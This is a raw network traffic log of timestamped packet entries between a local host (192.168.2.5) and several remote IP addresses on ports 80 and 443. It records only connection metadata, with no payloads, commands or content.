Nov 16, 2024 19:22:31.644279957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644310951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644329071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644365072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644366026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644382000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644428968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644460917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644474030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644516945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644542933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644548893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644562006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644587994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644599915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644620895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644656897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644681931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644710064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.644731998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.644752979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645098925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645122051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645138025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645150900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645164967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645164967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645179987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645205021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645205021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645230055 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645442009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645456076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645471096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645487070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645492077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645500898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645515919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645538092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645550013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645709991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645737886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645751953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645768881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645771027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645783901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645798922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.645803928 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645816088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.645843983 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.646323919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.646409035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.648819923 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.648844004 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.649072886 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.649074078 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.649144888 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.649307013 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.669267893 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.669477940 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.669492960 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.669574022 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.670455933 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.670469999 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.670958996 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.671020985 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.671057940 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.671133041 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.671400070 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.671480894 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.671664953 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.671684980 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.671818972 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.671828032 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.671984911 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.671993017 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.672015905 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.672127962 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.672182083 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.672394991 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.672436953 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.672686100 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.672753096 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.672765017 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.672799110 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.672835112 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.672883034 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.672890902 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.673122883 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.673175097 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.673230886 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.673234940 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.681732893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.681766033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.681790113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.681799889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.681823015 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.681849003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.681849957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.681883097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.681915045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.681920052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.682061911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.682086945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.682120085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.682146072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.682238102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.684286118 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.684468031 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.684535027 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.685164928 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.685179949 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.685189962 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.685194969 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.690627098 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.690695047 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.690823078 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.693821907 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:31.693908930 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:31.712517977 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.712549925 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.712677002 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.712779045 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.715919971 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.715934038 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.716257095 CET	49861	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.716275930 CET	443	49861	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.716329098 CET	49861	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.717176914 CET	49861	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.717190027 CET	443	49861	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.717713118 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.718415022 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.718422890 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.719321966 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.719830036 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.719937086 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.722356081 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.722399950 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.722764969 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.722769976 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.725112915 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.725128889 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.725419998 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.765652895 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.765680075 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.765779018 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.765860081 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:31.765908957 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.765908957 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:31.771876097 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:31.792782068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792835951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.792850971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792865992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792889118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.792890072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792893887 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.792903900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792921066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792924881 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.792937040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792943001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.792948961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.792968988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.792969942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792984962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.792999029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793028116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793474913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793497086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793510914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793514967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793544054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793557882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793616056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793631077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793644905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793661118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793664932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793684959 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793703079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793705940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793716908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793731928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793737888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793744087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793750048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793765068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793778896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793919086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793934107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793948889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.793950081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793962955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.793982029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794343948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794357061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794393063 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794393063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794404984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794420958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794421911 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794444084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794469118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794487000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794501066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794517040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794528961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.794533968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794533968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794555902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.794562101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795063019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795100927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795114994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795116901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795135975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795141935 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795145988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795160055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795175076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795178890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795187950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795208931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795388937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795403004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795418024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.795433044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795443058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.795453072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.796272993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.796328068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.796343088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.796367884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.796397924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.796468019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.796483040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.796514034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.796979904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.796994925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797009945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797019005 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797041893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797055960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797075987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797090054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797101021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797103882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797112942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797127008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797142029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797162056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797175884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797199011 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797204971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797219992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797221899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797234058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797239065 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797255993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797272921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797318935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797332048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797344923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797359943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797360897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797374010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797388077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797399044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797411919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797431946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797446012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797460079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797468901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797491074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797605038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797626019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797641039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797645092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797662973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797677994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797836065 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797857046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797871113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797892094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797892094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797909975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797929049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797941923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797955036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797971010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797977924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.797985077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.797993898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798005104 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798007965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.798026085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798038960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798069954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.798110962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798183918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.798197985 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.798213959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.798219919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798229933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.798238993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798244953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.798247099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798264027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.798280954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799226999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799249887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799271107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799302101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799307108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799324989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799340963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799345970 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799365044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799375057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799380064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799395084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799408913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799422979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799427032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799444914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799453020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799467087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799472094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799480915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799480915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799495935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799499989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799510956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799510956 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799530029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799540997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.799582958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799596071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.799609900 CET	80	49770	185.215.113.206	192.168.2.5
